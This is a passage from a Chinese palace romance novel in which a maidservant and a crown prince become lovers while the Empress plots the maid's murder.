向他献芳心的女子数不胜数,虽然她一再辩解,但言语和动作却偏偏相反,而且这种明显暗示性的话,与那些谄媚女子有着异曲同工的目的,他一眼就看破了。
不过,他还挺乐在其中的。
娄宴唇角勾了勾,噙出一抹浅淡至极的笑,偷窥他洗澡、不顾性命替他试药、担心他被蚊子咬,现在竟然直接对他动手动嘴……种种迹象都指向一个真相。
盛溦溦喜欢他。
这点儿自信娄宴还是有的,要是以前,他早就将她撵出府了,而现在他竟一反常态,心里莫名其妙地生出一种“她果然醉心于我”的幸福感。
“咬吧。”
得到允许,盛溦溦一手抓住香囊,一手捏住腰带,对准香囊绳子一口就咬了上去。
夏季的衣服本来就薄,娄宴穿的又不多,盛溦溦的脸贴在他的衣服上,几乎相当于贴在他的肌肤上,随着她的动作微微滑动,很快地,娄宴便感觉到自己身体上的变化。
就这么过了一会儿,娄宴的身体越来越紧绷,脸上的神情也越来越古怪,忍不住催促:“好了没?”
“快了快了,马上就好了。”盛溦溦嘴里咬着线,说话也有些含含糊糊的。
又过了一会儿。
“还没好?”
“好了好了!”盛溦溦扬着手中的香囊,幸亏这线不是金丝做的,否则她咬不断呢。
娄宴垂眸紧紧锁住盛溦溦澄澈的眸子,心里幽幽的生起恼怒,先暗示的人是她、先动的手的人也是她,反而她却一副置身度外、茫然无知的表情?
娄宴心口一闷,差点儿憋过气去。
蹲久了的盛溦溦,还没站起来,就觉得头有点儿眩晕,她有意识地让自己再蹲一会儿,想让自己适应一下,再慢慢站起来,谁知头顶一个清晰冷洌爆怒的低沉声音传了出来。
“还不起?”
“殿下,奴婢……”盛溦溦想解释,猛地一抬头,身子却跟着一歪,控制不住向旁边倒去。
娄宴见状,眉峰一凛之下,黑眸也随之收紧,手臂迅速一伸,便将快要倒地的盛溦溦稳稳地捞入怀里。
为了使盛溦溦躺的舒适一些,娄宴几乎是半蹲在地上,喉咙上下滑动,声音低沉暗哑:“又犯了你所谓的低血糖了?”
怀里的盛溦溦比什么时候都乖,轻轻点了点,声音有些微弱:“……嗯。”
大约是知道盛溦溦不便多说话,娄宴便将她抱到榻上,一接触到凉爽的琉璃榻,盛溦溦就想挣扎起身,这可是娄宴的床榻啊,她有什么资格躺啊。
娄宴将她按回到榻上:“躺着。”
盛溦溦脸色有些白,眸子却是清亮:“奴婢……”
“拂逆孤的命令,是为大不敬。”
真霸道啊!
“哦,那奴婢就躺一小会儿。”
“府里没蝴蝶酥了,吃别的?”
“奴婢没有吃完,在奴婢屋子里。”
娄宴微微点头,起身出了门,再回来的时候,手里多了半盘子蝴蝶酥,正是盛溦溦吃剩的那半盘。
盛溦溦简直受宠若惊,赶紧从榻上爬了起来,刚才实在晕的厉害,才勉强在榻上躺着了,可娄宴是有洁癖的,她要是在床榻上吃蝴蝶酥,搞不好真将她扫地出门了。
其实盛溦溦此刻哪怕不吃东西,也好的差不多了,刚才就是蹲久了,才会产生眩晕的感觉,休息一会儿就好。
可是娄宴堂堂南夜国太子,屈尊为她拿来了蝴蝶酥,她要是不吃几口,都对不起他。
做太子府的奴婢真难啊!
见盛溦溦面上恢复了红润,娄宴似漫不经心般的开口:“大夫可曾瞧过?”
“奴婢自小就有低血糖的毛病,只是一直好吃好喝
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的供着,许多年没犯过这毛病了,近来是因为在浣衣局呆久了,才时常犯的。”盛溦溦淡淡地解释着,她说的确实也是事实,以前在盛府过着千金小姐般的生活,冷不丁的被送入浣衣局,每日饭菜不像话不说,从早到晚还有干不完的活,时不时头晕一下也正常,多亏李嬷嬷每日给她熬一碗红糖水,不然都不知能不能撑到现在了。
这几日因为吃的好、睡的好,已经明显好多了,晕的次数也少了。“殿下放心,奴婢这毛病,歇歇就好了,这几日都好多了呢。”
娄宴淡漠的“嗯”了一声,走到床榻边:“歇息吧。”
盛溦溦脸上噙着的笑,瞬间就有些垮了下来,方才接二连三的出了些小状况,她一时也考虑不到这块,现在听到娄宴说出歇息两个字,不禁有些忐忑,长这么大还没同哪个男人睡在一间房呢,虽然不是一张床,多少也有些别扭,也不知道自己睡觉打不打呼噜,要是吵的娄宴睡不着,那可就得不偿失了。
这么想着,盛溦溦不禁惴惴不安地看向娄宴,正巧他的视线也看了过来,四目相对时,盛溦溦心口一怔,饶是这两日已经看惯了的脸,她还是会忍不住脸红心跳、狂躁不已,内心不是小鹿乱撞,内心大概是在表演胸口碎大石,那砰砰砰的力道,快要把胸膛砸出一个窟窿了。
好看到了人神共愤的地步,万一夜里她要是把持不住可怎么办啊!
“那个……”盛溦溦快速移开目光,指着桌子上的壶和杯子,道:“殿下,您晚膳吃的有些油腻,菜也有点儿咸,奴婢担心您夜里渴,已经将开水凉好了,奴婢还熬了绿豆汤,都一起放在桌子上,一会儿您要是渴了,记得喝啊。”
娄宴的目光不易察觉的瞥了眼桌子的方向,并未应声。
盛溦溦对娄宴经常不回应的态度也有了免疫力,一点儿也不奇怪,径直走向烛灯的方向,见娄宴仍旧站在榻前,便好心地提醒:“殿下快些上床吧,奴婢要灭灯啦。”
“孤灭灯。”
“啊?”盛溦溦只是奇怪了那么一下,很快便明白过来,娄宴大约是怕她再犯前几日的错误,所以才不想让她灭灯的吧。“那奴婢去歇息了,殿下有事叫奴婢。”
盛溦溦朝寝殿的另一端的空竹榻走去,先将床榻前的将隔帘拉上,再将两层床帘合上,之所以要做的这么严丝合缝,不是她怕娄宴会对她做什么,而是她怕自己鬼迷心窍起来,会对娄宴做什么。
所以,保护措施做的更稳固很有必要。
娄宴见盛溦溦不急不慢的动作,不由地想:一层纱两层帘,又不是铜墙铁壁,她这是在玩欲拒还迎的把戏么?这想法真是新鲜。
躺上床的盛溦溦,本来还担心自己换了床会睡不惯,况且又是和娄宴一个屋,肯定会心惊胆战到半夜,谁知她压根白担心了,累了一日,头刚挨枕头就睡着了。
反倒是娄宴睡不着了。
见床头上燃的香薰,想到她说的“镇定安神”,娄宴不禁一阵恼怒,这香薰哪有半点儿安神的作用,分明把他烧的更旺了。
翻来覆去睡不着,娄宴索性起身下榻,没有丝毫犹豫,径直朝盛溦溦的方向走去。
14. 014
第十四章
掀开隔帘,又挑开两层床帘,娄宴看到侧身躺在床榻上的盛溦溦,她睡的很沉,呼吸清浅,根本没有察觉到有人走近,因为离窗户很近,月辉从窗外照进来,洒在她的侧颜上,睫毛又长又卷,遮住她那双爱笑的眼睛。
床榻不似琉璃榻,即使凉,也只是刚躺上去时有些凉意,很快便被身体捂热,只是睡了一会儿,盛溦溦的额上便出了细密的汗丝。
盛溦溦咕哝了一声,娄宴没听清,微微弯了腰凑过去,清香酥骨的气息立刻朝他狂袭而来,令他挺拔的身体不禁一颤,只听她轻轻地道:“我也要钓鱼……钓鲤鱼……”
钓鱼?娄宴兀自蹙了蹙眉,一个女孩子怎么竟喜欢做些男子喜欢做的事?
盛溦溦毫无察觉,翻了个身,腿轻轻一蹬,便将搭在身上的薄被蹬开,换了个方向继续睡。
想起上一次她生病时,也是这般爱蹬被子,娄宴眼内的黑意更浓了一些,弯腰将薄被重新替她盖好,动作笨拙僵硬却小心,冷漠的一张脸慢慢浮起一丝促狭般的笑意:“看上去很会照顾人,原来竟也这般爱蹬被子。”
竹榻太窄,再蹬被子就该蹬地上了。
娄宴叹息一起,弯腰将盛溦溦抱了起来。
……
盛溦溦一觉醒来,发现自己竟然躺在琉璃榻上,震的她差点儿从榻上蹦起来。
明明记得自己是在睡在竹榻上的啊,而且还拉了隔帘和床帘啊,怎么竟然在琉璃榻上呢?难不成昨夜自己真的没把持住……
该不会把娄宴给……
想到这里,盛溦溦浑身冷汗直冒,屋里也不见娄宴的身影,她赶紧穿鞋下榻,匆忙出屋寻了一圈,发现娄宴在院子里练剑,没有穿那身铠甲,只一身玄青色长衫,动作时而闲云流水,时而急风暴雨,既凸现俊朗儒雅,又不失果敢英气,说他是天仙下凡,也没人会质疑。
盛溦溦一步一步朝娄宴挪了过去,心里已然没了底气,眼睛仔细的打量着娄宴的神情,而对方始终没有看她一眼。
这让盛溦溦心里更加恐慌了。
盛溦溦噙着讨好的笑,招呼道:“殿下……起的好早啊,昨夜睡的一定很好吧?”
娄宴闻言也不应声,自顾自地练了一套剑法后,方才淡漠地“嗯”了一声,语气根本听不出是好还是不好。
盛溦溦有些懵,她本想从中试探自己是怎么上了琉璃榻的,可是娄宴这模棱两口的回答,倒叫她不知所措了。
总不能直接问他,自己是怎么爬上他的榻的吧,那不是自寻死路么。
“帕子。”
怔忡间,娄宴朝盛溦溦伸出了手,她条件反射地从凳子上拿起锦帕递了过去,感觉拿锦帕的手都有些抖了。
“殿下练了剑,可要吃点儿东西再沐浴?”
听到沐浴二字,娄宴淡漠的神情中多了丝看也看不透的深不可测:“不必。”
“哦。”
娄宴将剑往她怀里一扔,不急不慢的擦试额上的汗,尔后迈着从容不迫的步子往屋里走去,步伐甚是悠闲自在,反倒让盛溦溦的内心更加焦灼不安,如同热锅上的亿万只蚂蚁一样。
总觉得娄宴的态度有些古怪,可又说不出哪里古怪。
“还不进来磨墨?”
盛溦溦见娄宴目光微有不悦,也不敢多说话,赶紧跑进屋内,先将剑挂了起来,再乖乖地去给娄宴磨墨。
见桌上摆着的果盘里,除了几片桃子没了以外,其他的水果丝毫未动,盛溦溦像发现了什么不得了的事一样,问:“殿下喜欢吃桃子?”
娄宴眼皮也未抬一下:“勿试图打探孤的喜好。”
盛溦溦瞥瞥嘴,怪不得南边果园里有十来颗桃树呢,她还奇怪,一般府邸很少栽种桃树,即使有最多一两颗不得了了,太子府一栽就是十几颗,原来竟是因为娄宴喜欢吃桃子。
早膳后,娄宴没有让盛溦溦跟着:“后院碧莲池旁,有一些鱼,你且将它们放入池内。”
“放了?”盛溦溦突口而出:“殿下是要钓鱼吗?”
“不可?”
“当……当然可以啊。”放了,再钓上来,到底有什么意思啊?
盛溦溦麻利地戴着手套,赶到碧莲池边一看,哪里是一些鱼啊,足足五六大桶鱼啊,不仅有成年的大鱼,还有小鱼苗儿,一个个活蹦乱跳的,看着特喜庆。
好在碧莲池够大,要不然这么多鱼恐怕要为争地盘打架。
放完了鱼,时辰尚早,盛溦溦也没什么事做,索性找了绳子、竹杆儿、篮子往果园走去了。
桃子不仅可以生吃,还可以做桃酱、做桃酥、做桃罐头,最重要的这些都可以拿来卖,嘻嘻,又是一笔可观的收入啊。
……
盛溦溦离开后,十里一边嫌弃地闻着自己双手散发出的鱼腥味儿,一边从门外走了进来,昨夜殿下守着盛姑娘,他便有时间去宫里探探消息,若不是被别的事耽搁了,他早就应该回来了。
“殿下。”
娄宴察觉他进了屋,目光低垂,连眼皮都未抬一下:“迟了一个时辰。”
“属下回来时,见到了睿亲王,他行动鬼鬼祟祟,属下好奇就跟了过去,原以为他做什么见不得人的事,后来发现真还是见不得人,他与浣衣局的个奴婢有私情……”
娄宴抬手制止了十里的话,他对这些事不敢兴趣:“可有行动?”
十里恢复了正经神色:“连着几日行动失败,他们不敢冒然行动,昨夜并未商量出什么计划来,但属下回来时发现府外有几个陌生的面孔。”
娄宴淡淡的“嗯”了一声,吩咐道:“皇后做事,不达目的绝不善罢甘休,这几日你无需再入宫,护着她便好。”
“属下明白。”十里起身欲走,想了想,又问:“殿下,您要那么多鲤鱼做什么用啊?属下按着您的吩咐,专挑品质最佳的鲤鱼,差不多把京城里鱼铺都转了个遍儿!”
“你何时爱打听孤的私事了?”
“哦,是殿下私下啊,那属下不打听了。”
娄宴心底深处传来幽幽一声叹,不怪十里奇怪,他的确太不正常,盛溦溦不过说了一句梦话,他竟然真的给她弄来了一池子的鲤鱼。
……
半上午过去了,盛溦溦始终未到书房来,娄宴字练着练着,思绪就有些飘,敛神忍了一会儿,终是叹息一声搁下笔,出了书房。
碧莲池转了一圈,没见到盛溦溦,快走到果园的方向,便瞧见一颗桃树上有一抹粉色的身影,手上拿着杆子在树上挥来挥去,随着她的动作,整颗桃树都跟着颤动。
“殿下喜欢吃桃子?”想到早上她问自己的话,娄宴心中一动。
还未走到桃树下,突然瞥到一抹冷光朝桃树飞去,像是惯性一般,娄宴来不及思考,便朝盛溦溦的方向飞去。
飞刃刺断树枝的刹那,失去重心的盛溦溦整个身子往下坠,慌的尖叫出声:“啊……”
娄宴稳稳地将盛溦溦接住,见她双目紧闭,嘴里还在不断的尖叫,嘴唇的笑意仰制不住的一闪而过:“别叫了,是孤。”
沉稳的声音传来,盛溦溦猛地睁开眼睛,发觉自己被娄宴抱在怀里。
“殿下……”盛溦溦真的是吓倒了,眼角噙着泪,惊魂未定地揪住娄宴的衣襟:“吓死奴婢了,奴婢明明站的好好地,不知道树枝怎么就断了,还好殿下救了奴婢,不然奴婢就要摔死了……”
盛溦溦一把鼻涕一把泪地往娄宴衣襟上抹,抹的身来洁癖的他整个身子都要石化了,却还是却纹丝不动的站在原地任由她抹来抹去,直到盛溦溦哭好了,方才冷冷地命令:“从现在起,不准离开孤的视线。”
盛溦溦刚刚哭过,大脑是缺氧,但不是失忆。
明明是娄宴让她去碧莲池放鱼的啊,怎么听他话里的意思,是自己故意不跟着他一样。
但盛溦溦太怂了,不敢反驳。
盛溦溦挣扎着起了身,“哦,奴婢知道了。”
怀里的馨香软糯突然抽离,娄宴看着空空的双手,感觉到了一种从未有过的怅然若失。
……
南夜守夜的规矩,一般至少都是连续守一个月,连续守了几夜后,盛溦溦有些害怕了,因为每晚她都是在自己的竹榻上入睡,而第二天醒来的时候却都在娄宴的琉璃榻上。
所以这一日晚上,盛溦溦为了以防万一,给自己准备了一条绳子,好将自己与竹榻绑在一起,绝不能再发生睡到娄宴床榻的那种事了。
但当她拿着绳子向到床榻前的那一刻,心态彻底崩了。
床榻的一条腿竟!然!断!了!
面对娄宴询问的目光,盛溦溦想不到有什么好的理由替自己辩解了:“殿下,这床昨夜奴婢睡还好好的,不知怎的,突然就断了。”
她也没有那么重的好嘛!
“睡琉璃榻。”
“那殿下?”
娄宴眉心一洌:“你要孤睡地上?”
盛溦溦赶紧摇头:“不不不,奴婢不是这个意思,奴婢的意思是说奴婢可以睡地上。”
“孤睡榻上,你睡地上,传出去让人误会孤欺负你?”
盛溦溦眨了眨眼睛,这也不行,那也不行,那要怎么样呢?“那殿下说怎么办,奴婢听殿下的。”
娄宴果断干脆:“都睡榻上。”
“奴婢……”
“你若不愿,可自行离开。”
盛溦溦秒怂,爬上榻的速度比娄宴还快:“殿下,灭灯吧。”
盛溦溦没有瞧见,在她身后,娄宴脸上露出一丝计谋得逞后的奸笑。
灭了灯,顿时屋子里一片漆黑,黑暗中,盛溦溦能听到自己狂跳不止的心跳声,觉得好紧张啊,紧张到身体
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都控制不住在抖动了,却又不敢挪动半分,平时不痒的地方,这会儿特别痒,悄悄伸手的抓了几下,却丝毫不管用,越来越痒,痒到她都要怀疑人生了。
直到躺在她身旁的娄宴传来均匀的呼吸,她仔细听了一会儿没有任何其他动静,方才意识到他真的睡着了,一直紧张的心才悄悄放松了下来。
盛溦溦屏住呼吸,极慢极轻的翻了个身,侧身面朝着娄宴躺着,此刻月光洒入室内,借着月光,她能看清他侧颜的轮廓,是英俊的、坚毅的、冷洌的,也是动人心扉的。
一如十二岁那年,她第一次见到这张英俊到不像话的面孔。宫里举办除夕盛宴,爹爹将她带入了宫,盛宴还没开始,她便四下闲逛,然后就看到他孤身一人站在门楼上,头顶是皎洁月光,眼前是万里长河,脚下是白雪皑皑,而他目光坚毅、晶亮透光。
回来后她还同爹爹说在皇宫里碰上了神仙,后来才知道那个人就是太子娄宴。
过去了那么多年,战场带给他的是愈发坚韧的意志,风霜带给他的是无暇的面容,时间沉淀下来的是令人无法看透的深不可测。
千万亿像素的超高清影象下的美男子就在眼睛,盛溦溦看了又看,看到不想闭上眼睛。
颜值这东西,真是让人欲罢不能啊。
盛溦溦正沉醉于眼前无边的颜值中而无法自拔的时候,娄宴突然一个翻身,视线迫人的紧紧锁住盛溦溦。
盛溦溦吓了一跳,想要闭上眼睛装睡是不可能了,说出来的话有些结巴:“巧……巧啊,殿……殿殿下,您也醒了啊。”
娄宴无声的叹了口气,腾空的同时,顺势翻转了盛溦溦的身子,凌空出现在她的眼前。
四目相对时,盛溦溦又紧张了:“怎……怎么了,殿下?”
既然她不愿开口,娄宴便只能身体力行了:“孤耐心有限,你准备好了么?”
一亿个问号飘过盛溦溦的脑海:“殿下说什么呢?”
娄宴一口气差点儿提不上来,恨不能敲开盛溦溦的脑袋:“盛溦溦,你是真不知道,还是装傻?”
“奴婢……”
“孤只说三件事,第一,孤自小到大,从不需要人守夜;第二,是孤将你抱上琉璃榻的;第三,竹榻是孤故意损毁的,现在,你清楚了么?”
盛溦溦水灵灵的眸子一转,突口而出:“竹榻是殿下毁坏的?”
“是。”娄宴嗯了一声,发现差点儿又被她带偏了,撑在她身体两侧的手臂弯了弯,使两个人靠的更近了些,彼此的气息清晰可闻,道:“孤说了这么多,你关心的只有竹榻?”
“不是的……”盛溦溦不傻,也不是单纯到什么都不懂的纯情小白菜,她能感觉到娄宴看她的眼神不一样,但她不敢相信啊,她一直听到是娄宴不近女色、心狠手辣,提着剑将爬上他床榻的女人撵走,说到底,她是一点儿都不敢逾越,有贼心没贼胆啊。“奴婢也关心……”
“孤喜欢你。”
盛溦溦:……
脑子里一片空白。
娄宴没有给盛溦溦丝毫反应的时间,抬起她的下巴,一字一顿道:“孤、要、定、你、了。”
盛溦溦咬了下舌头,生疼。
“殿下……”
“孤知你想问什么,孤可以清楚的告诉你,孤认定你了。”娄宴抬起修长的手指,一寸一寸的拂去盛溦溦额前留海,声音像罂粟,沉稳强势中又不失温柔:“不知从什么时候起,孤的一双眼睛便定在了你身上,也许是第一眼,也许是你太过于叽叽喳喳,也许是你总是在孤身旁,不论孤什么时候抬眼,看到的都是你的笑脸,哪怕是你夹给孤的菜,孤都喜欢。”
娄宴敛眸,这一会儿所说的话,竟比他这几年说的话还要多!
近在咫尺的俊颜,蛊惑人心的言语,啊啊啊,不行了,抵挡不住这该死的魅力了!
娄宴离的更近了一些,仿佛一启唇,便能触及她柔软的唇瓣:“你不要告诉孤,你不知孤的心思?”
“奴婢真不知。”盛溦溦掐了掐自己,确认这不是一场梦:“奴婢……一直听说殿下近女色的……”
“你怀疑孤的性取向?”
“不是奴婢怀疑啊……是外面都这么传……”
话未说完,清洌的气息骤近,话语淹没在娄宴疯狂的吻势中,这一吻已经在他脑海里已经演练过无数遍了,甚至梦中都在轮番上演,然而此刻真真切切的将她拥在怀里,发疯似的发狠似的将她吻的透不过气,才觉得梦终究是梦,此刻切实的身体反应,才更加真实。
沉稳阴沉如娄宴,竟有些把持不住:“今夜,孤便让你瞧瞧真正的孤。”
浑身的血液一齐往上冲,手上无意识的一用劲,惹得怀里的人轻轻一声低吟,他不由的一怔,慢慢地将吻势放轻缓,舍不得弄疼她。
吻势越来越柔,却也越来越缠绵。
15. 015
第十五章
屋内,娄宴的喘息声越来越重,手上的力道饶是已极力控制,仍会有失手的时候,将怀里的人弄的低低求饶。
屋外,十里刚办完事回来,步伐甚是云淡风轻,刚转过长廊,就见九陌站在太子殿下寝屋门口的院子里,脸上神色几经转变,说不出说的怪异。
“九哥,怎么不进去?殿下不在寝屋吗?”
九陌脸色一讪,不知道该怎么回答十里的话,方才他像往常一样浴血从侧后门进入屋内,谁知刚到门口,就听到屋内传出一阵阵难以言说的声音,顿时脸色一阵惨白,慌忙退了回来。
九陌拦住了十里:“给殿下回话?”
“是啊!”
“事儿急吗?”
九陌的话,让十里有些摸不着头脑,摇摇头:“不急……吧,怎么了?”
“那殿下此刻正在办的事万分紧急,改日再回吧。”九陌向来沉稳,只是这话说出口,他那坚硬如石头一般的脸,竟有些不可言说的诡异,连嘴角都跟着凌乱。
“为什么啊?”十里一梗脖子,扬眉道:“殿下让我一回来就向他回话的。”
“殿下没时间。”
十里皱眉,狐疑的回头瞧:“殿下到底在办什么紧要的事?”
“人生大事!咱们就在这院外守着,今夜就是天塌下来了,也不许任何人打扰殿下!”九陌不由分说地抓住十里的胳膊,径直往外推:“听九哥的话,九哥不会害你的。”
……
翊坤宫内,皇后挥退了所有下人,只剩下她和内务府的掌事孙公公。
“怎么回事,你不是说将那贱婢熬不了几日么,为何事到如今她还好好的活着?”皇后厉声厉色,盛怒下的精致的妆容透露出魔鬼般的凶狠,似乎还觉得不解气,挥手将桌子上放着的一套碧玉杯盏拂到了大理石地面上,瞬间摔了一地的碧绿的碎片。
孙公公伏身跪在地上,周围尽是被砸碎的杯盏,额上也被杯盏砸倒,鲜血直流,可他任由鲜血从脑门流下,却不敢擦试分毫。
“回皇后娘娘,”孙公公诚惶诚恐,脑门上豆大的汗珠混杂着鲜血,一起滚落了下来:“奴才也不知是怎么回事,那日奴才亲眼所见,她面色蜡黄、浑身无力、双眼无光,一见就是病入膏肓的模样,奴才想着这样的人,奴才们动起手来会更容易,死了也不会惹人怀疑;退一步说即使奴才不动手,以她那个样子,也熬不了几日。”
孙公公感觉到头顶滔天怒火般的视线,咽了咽干涩的喉咙,道:“奴才未曾料到她竟然几次化险为姨,奴才派去的人几次无功而返……整个人还活蹦乱跳的……”
“未曾料到?无功而返?!你真是长本事了,一个小小的贱脾都处理不了,本宫还能指望你做什么!”皇后一向雍容华贵、气度非凡,动怒的次数极少,但凡动起怒来,轻者残、重者死:“明日是最后一天,她若不死,你也不必活着来见本宫了。”
“奴才知错,请皇后娘娘息怒,这件事奴才已经有了打算,只要计划顺利,一定会让她像前九个人一样死的无声无息。”
“如此便好,这一日,本宫等了许久,前面九个你都办的不错,不要在最后一人身上失了手。”
“皇后娘娘放心,这一次奴才绝不会失手,一定让她死得其所。”
皇后点头,道:“太子那边也要着人看住了,熬过这最后一日,他便再也掀不起什么风浪了。”
……
太子寝宫,一室的淤泥春光。
雀云阑珊、青倚屏风、琉璃星光,全都浸、淫在香雾缭绕之中,卷帘薄纱琉璃榻上,淡淡的光晕洒向金丝薄毯中的二人。
虽是初次尝欢,但娄宴悟性极强,一路引领着盛溦溦摸索探寻,直到颠鸾倒凤、直达巅峰。
盛溦溦不知道被折腾到了几时,只记得最后她已经支撑不住了,哭着求饶,娄宴才放了她,将她揽在怀里,抱着她入睡。
醒来的时候,天已经大亮了,而她身旁躺着的是娄宴,他的手臂还环在她的身上,见她醒来,迎接她的是迷人的黑眸、慵懒的声音:“醒了?”
盛溦溦来不及回应,刚启唇,便被娄宴印上一个深深的吻。
即便两人昨夜已经弹坦诚相见,此刻被他缠绵一吻,还是会脸红心跳,一双水眸也不敢盯着娄宴看,只顾着埋入他的怀里,只是动一下,浑身就跟散了架似的又酸又疼,眉头不禁蹙了蹙。
娄宴见她娇羞不已,明眸间一抹蹙眉,幽深的眸色愈发的浓郁了,轻轻摩挲着她嫩滑的脸,声音低缓道:“孤弄疼你了?”
盛溦溦咬唇:“……没有。”
娄宴在她额头轻吻了一下,轻轻一声叹,神情满是认真宠溺:“孤第一次,没把握好分寸,以后,孤尽量轻点儿。”
特么,谁还不是第一次啊!
盛溦溦脸红,声如蚊绳:“奴婢也是……那我们以后……便共同进步……”
“好,孤允了。”
盛溦溦又在娄宴怀里赖了一会儿,觉得光线越来越刺目,才恍惚觉查过来时辰不早了:“对不起殿下,奴婢是不是睡太久了?”
“你进府为的是伺候孤,此刻所做亦是,以后不必开口闭口跟孤说对不起。”
这话,盛溦溦竟无法反驳。
“还有,亦不必自称奴婢。”
自从盛溦溦被贬为宫奴开始,每一次见比自己地位高的人,她都要自称奴婢,心里别提多别扭了,但要与封建奴役思想作斗争,她也没那个骨气。
此刻听到娄宴的话,盛溦溦心中一动,从他怀里仰起脸,眼里溢满了欣喜和满足。
“殿下饿了吗?”
“孤此刻确实有些饿。”
“宫里是不是该送早膳来了?”盛溦溦说着,欲起身穿衣:“殿下要是不想起床,我便拿到屋里,伺候您吃吧。”
“不必了,孤已经等不及了。”
“嗯?”盛溦溦还没明白什么意思,便听到娄宴低浅的笑声暧昧地传入她的耳内:“孤现在最想吃的,便是你。”
盛溦溦往被子里缩了缩:“殿下,昨夜……您不要补充体力么?”
娄宴脸一沉:“你觉得孤昨夜不够勇猛?”
盛溦溦知道自己说错话了,赶紧摇头:“不是的。”
“嗯?”
这话要怎么回答啊?无论怎么回都挺不要脸的。
“殿下威武。”
“你可喜欢?”
“……喜欢。”
嘻嘻,殿下都放下身段先向她告白了,那她现在礼尚往来一下也是应该的,还要什么脸面啊!
两人同时起了榻,洗漱一番后,又你侬我侬的一小会儿,东侧门那边还是一点儿声音都没有。
盛溦溦有些奇怪,往常这个点儿,罗才应该已经过来了,怎么今日这般迟呢?
好在府里的食材也齐全,盛溦溦做饭的手艺也还拿得出手,便做了个简单的早餐,和娄宴一起吃了。
用完早膳,终于有人敲门了,但敲门声的力气比往日大了许多,砰砰砰的,不仅有力,还有节奏。
“我去开门。”
盛溦溦刚站起来,却突然腰际上一紧,疑惑的抬头看了一眼:“殿下?”
“孤同你一起。”
盛溦溦虽然觉得娄宴小题大做,但心里又觉得好甜蜜呀,乖巧地点头:“
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嗯。”
饶是这条路她已经走了好几日,但现在身旁有人陪着,感觉就是不一样,虽然娄宴面上神情冷淡,但她还是觉得步伐都轻快了。
门刚一打开,十几位身穿侍卫服的人悉数涌入府内,打头的是一位侍卫统领打扮的人上前一步,领着众侍卫跪拜行礼:“殿下,侍卫统领方行山参见太子殿下。”
娄宴目光幽深,神情淡漠:“方统领,什么风把你吹来了?”
方行山态度甚是恭敬:“回太子殿下,宫中昨夜发生一桩命案,属下奉命全力追查,而盛姑娘与此案有重要关联,故而属下斗胆前来打扰。”
一直站在娄宴身后、将自己置身度外的盛溦溦不由地眨了眨眼睛,一时摸不着头脑,这要是说她在太子府杀了她还脱不了嫌疑,可皇宫出了命案却找上她,这不是笑话么,她连太子府大门都没出过啊!
盛溦溦不由地朝娄宴看了一眼,对方回视她的目光冷静、沉稳,让她心里踏实不少。
娄宴站在盛溦溦身前,丝毫没有想让开的意思,声音冷淡至极:“不知方统领指的是什么命案?”
“翊坤宫的小太监,就是一直替殿下送膳的那位,昨个儿从太子府离开后,回到皇宫后便暴病身亡。”
盛溦溦听到这里,身体猛的一颤,他说的是罗才吗?不会的,罗才昨个儿还好好的呀,但送膳的人只有罗才,他说的不是罗才,又会是谁呢?
盛溦溦从娄宴身后绕了出来,目光直直的望向方行山,有些怀疑的出口问道:“你说的公公……可是罗才?”
“正是,罗公公从太子府回去后便暴病而亡,在那之前,他在太子府唯一接触过的人只有盛姑娘你。”
方统领说话时,多少也觉得这理由有些牵强,但双眸的视线却直逼盛溦溦,这是他的职业习惯,通过观察疑犯的面部表情,来收集线索,不想他这目光却被娄宴瞧见,后者以比他更森冷的目光看向他,饶是他是统领几千侍卫的一方大将,也被那目光迫的生出骇意,目光下意识地从盛溦溦脸上移开。
盛溦溦蹙着眉,手攥的紧紧的:“不可能,他昨日还同我说话了,和平日一样笑嘻嘻的,没有什么异样,走的时候也开开心心的。”
“事实是他已经死了,皇后命我全力追查此事,还请盛姑娘同我走一趟。”方行山说着,便示意两旁侍卫动手拿人。
娄宴速度更快,轻轻拉过盛溦溦,以自己挺拔身躯挡在她面前,态度孤傲冷漠:“进了太子府,便是孤的人,要带走她,没有如山之铁证,自过不了孤这一关。”
不见刀剑出鞘,却见言语间的刀光剑影,在二人间暗涌厮杀。
两旁侍卫刚迈出的步子又收了回来,一个是威名赫赫的太子殿下,一个是说一不二的顶头上司,无论哪一个,他们都得罪不起啊。
方行山心知太子殿下向来说一不二,又想着临行前皇后叮嘱他千万不可硬来,便拱手道:“属下职责所在,还请殿下不要为难属下。”
娄宴凝眸,霸气一触即发:“方统领大可不必自己为难自己。”
方行山见太子殿下执意不让,他又不能莽撞行事,更不能强行拖拽,一时间有些为难:“太子殿下,此事是皇后亲自下令追查到底,若盛姑娘一日不随属下回去复明,属下便一日不能离开太子府了。”
娄宴语气甚是冷淡随意:“请便。”
方行山的的激将法显然对娄宴起不什么鸟用,后者淡漠的表明了自己的态度之后,揽着盛溦溦便往回走。
方行山神色复杂的站在原地,一时竟有些后悔,虽然职责所在,不得已而为之,但方才确实有点儿像吃了熊心豹子胆了,竟敢激怒太子殿下!
16. 016
第十六章
方行山是个言出必行的汉子,即使后悔了,也照旧领着手下侍卫站在东侧门小院子里,身姿笔直的跟个雕塑似的。
九陌几次路过,都觉得好笑,连皇后恐怕都没料到,她这是给太子府送守门侍卫来了,东苑现在比什么地方都安全。
原以为方行山等人会一直坚持到体力不支,没想到傍晚的时候,皇后就把他们召了回去。
到了夜里,宫里突然传来急召,说是皇太后病重,宣太子即刻进宫。
满南夜国上下无人不知,皇太后最疼爱的皇孙便是太子娄宴,其他皇孙无论如何表现都入不得皇太后的眼,也正因为如此,先皇后早逝,也没能憾动娄宴的太子之位,如今病情恶化,她最想见的人自然是太子娄宴了。
“殿下,前日属下夜入慈宁宫时,观皇太后气色尚好,近些日子不仅每顿都能吃一小碗饭菜,腿疾也渐为好转,已经可以下榻行走了,皇太后还让属下转告殿下您替她求的秘方很是管用,让殿下尽可放宽心做大事,不必担心她。”九陌看着那份诏书,神色正然,平日里他行事沉稳,关键时刻能看清形势、分清轻重缓急,也自然看出皇后这招明显是醉翁之意不在酒。“皇后明显是仗着您久不在皇宫,以皇太后病重为借口令您入宫,目的就是为了调虎离山,好对盛姑娘下手。”
娄宴声音沉稳的开口:“今夜是最后的机会,一旦孤离开,仅凭你一人定无法护溦溦周全。”
溦溦?九陌皱眉想了想,好一会儿才意识到殿下口中的溦溦指的是盛姑娘时,不禁浑身一个激灵,这才过去多久啊,殿下对盛姑娘的称呼就变的这么亲昵了?
“既如此,殿下便不能进宫。”
